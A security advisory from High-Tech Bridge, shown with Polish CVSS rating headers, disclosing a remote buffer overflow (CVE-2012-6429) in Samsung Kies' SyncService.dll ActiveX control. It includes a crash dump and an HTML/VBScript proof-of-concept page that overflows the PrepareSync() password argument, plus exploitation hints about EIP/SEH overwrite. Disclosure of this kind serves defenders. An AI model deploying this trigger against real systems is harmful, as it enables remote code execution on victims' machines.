Samsung Kies 2.5.0.12114_1 Buffer Overflow

2013.01.10
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


Ogólna skala CVSS: 10/10
Znaczenie: 10/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

Advisory ID: HTB23136 Product: Samsung Kies Vendor: Samsung Electronics Vulnerable Version(s): 2.5.0.12114_1 Tested Version: 2.5.0.12114_1 on Windows 7 SP1 and Internet Explorer 9.0 Vendor Notification: December 19, 2012 Vendor Patch: December 27, 2012 Public Disclosure: January 9, 2013 Vulnerability Type: Buffer Errors [CWE-119] CVE Reference: CVE-2012-6429 CVSSv2 Base Score: 9.3 (AV:N/AC:H/Au:N/C:C/I:C/A:C) Solution Status: Fixed by Vendor Risk Level: Critical Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab has discovered buffer overflow vulnerability in Samsung Kies, which can be exploited to execute arbitrary code on vulnerable system. 1) Buffer overflow in Samsung Kies: CVE-2012-6429 The vulnerability exists due to insufficient sanitisation of input data in the PrepareSync() method within the ActiveX control SyncService.dll, GUID { EA8A3985-F9DF-4652-A255-E4E7772AFCA8 }, located by default in "C:\Program Files\Samsung\Kies\External\DeviceModules\SyncService.dll". A remote attacker can pass an arbitrary value to the "password" argument of the PrepareSync() method and trigger an ACCESS_VIOLATION exception, which could be exploited to successfully overwrite the EIP register and the SEH structure. Taking into consideration the Unicode Format nature of this vulnerability, an attacker should rely on a predictable Unicode module loaded at crash time in order to efficiently exploit the vulnerability. Crash details: (9b4.720): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=00410041 edx=771b71ad esi=00000000 edi=00000000 eip=00410041 esp=001fe2d0 ebp=001fe2f0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 00410041 ?? ??? The following PoC (Proof-of-concept) code demonstrates buffer overflow vulnerability: <html> <!-- (c)oded by High-Tech Bridge Security Research Lab --> <head> <title>Remote Buffer Overflow Vulnerability in Samsung Kies v. 2.5.0.12114_1 </title> </head> <script language='vbscript'> Sub PoC() arg1="defaultV" arg2=String(14356, "A") arg3=1 arg4=1 Target.PrepareSync arg1 ,arg2 ,arg3 ,arg4 End Sub </script> <body> <h3>Remote Buffer Overflow Vulnerability in Samsung Kies by High-Tech Bridge Security Research Lab</h3> <input language=VBScript onclick=PoC() type=button value="Proof of Concept"> </body> <object classid='clsid:EA8A3985-F9DF-4652-A255-E4E7772AFCA8'id='Target'></object> </html> ----------------------------------------------------------------------------------------------- Solution: Vulnerability is fixed by vendor in version 2.5.1.12123_2_7 Download it at http://www.samsung.com/kies ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23136 - https://www.htbridge.com/advisory/HTB23136 - Remote Buffer Overflow Vulnerability in Samsung Kies [2] Samsung Kies - http://www.samsung.com/ca/support/usefulsoftware/KIES/JSP - Samsung Kies is a freeware software application used to communicate between Windows or Macintosh computers, and more recently-manufactured Samsung mobile phone and tablet computer devices. Kies is Samsung's official tool for Android based devices which allow synchronization and multimedia files management. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE? is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Referencje:

https://www.htbridge.com/advisory/


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